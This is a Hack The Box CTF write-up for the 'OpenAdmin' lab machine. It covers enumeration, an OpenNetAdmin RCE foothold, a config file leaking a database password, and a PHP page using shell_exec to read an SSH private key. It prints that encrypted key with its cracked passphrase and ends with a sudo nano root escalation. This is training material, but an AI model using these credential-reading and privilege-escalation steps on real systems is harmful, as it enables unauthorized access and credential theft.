Hack The Box - OpenAdmin
02/12/2020
Nmap
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10000/tcp filtered snet-sensor-mgmt
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Findings
There is an opennet admin application that is running at http://10.10.10.171/ona/. The version is 18.1.1
This version is vulnerable to RCE. This will be used for the initial foothold.
With this foothold the next step is to enumerate to elevate privileges from www-data. There are 2 users accounts avialable
jimmy
joana
Further enumeration will lead to database_settings.inc.php that contains a password. This password can be used to log in as the user jimmy via ssh.
$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
From this account we need to pivot to the joana account. Further enumeration is needed. LinPeas to the rescue.
The following ports can be found open locally.
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#internal-open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 5924 10.10.10.171:22 10.10.15.26:48630 ESTABLISHED -
tcp 0 0 10.10.10.171:22 10.10.14.212:56442 ESTABLISHED -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 10.10.10.171:80 10.10.14.212:60184 TIME_WAIT -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Requesting this page locally, you will see that it is a login form. Looking at the apache config you can see that the files rendered are in var/www/internal/ running under the context of the user joana.
jimmy@openadmin:/var/www/internal$ cd /etc/apache2/sites-available/
jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
A file within the internal directory, leaks the ssh key of the user joana
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Retrieving this file directly exposes the ssh key.
jimmy@openadmin:/var/www/internal$ curl http://127.0.0.1:52846/n.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
The key requires a password. JTR is used to crack the password of the key. bloodninjas
joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
joanna@openadmin:~$
Now to elevate to root, as you should always do check to see what executeable you can execute with sudo priveleges.
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$ sudo /bin/nano /opt/priv
From within nano attempt to read a file ^R followed by ^X to execute a command. From here you can execute cat /root/root.txt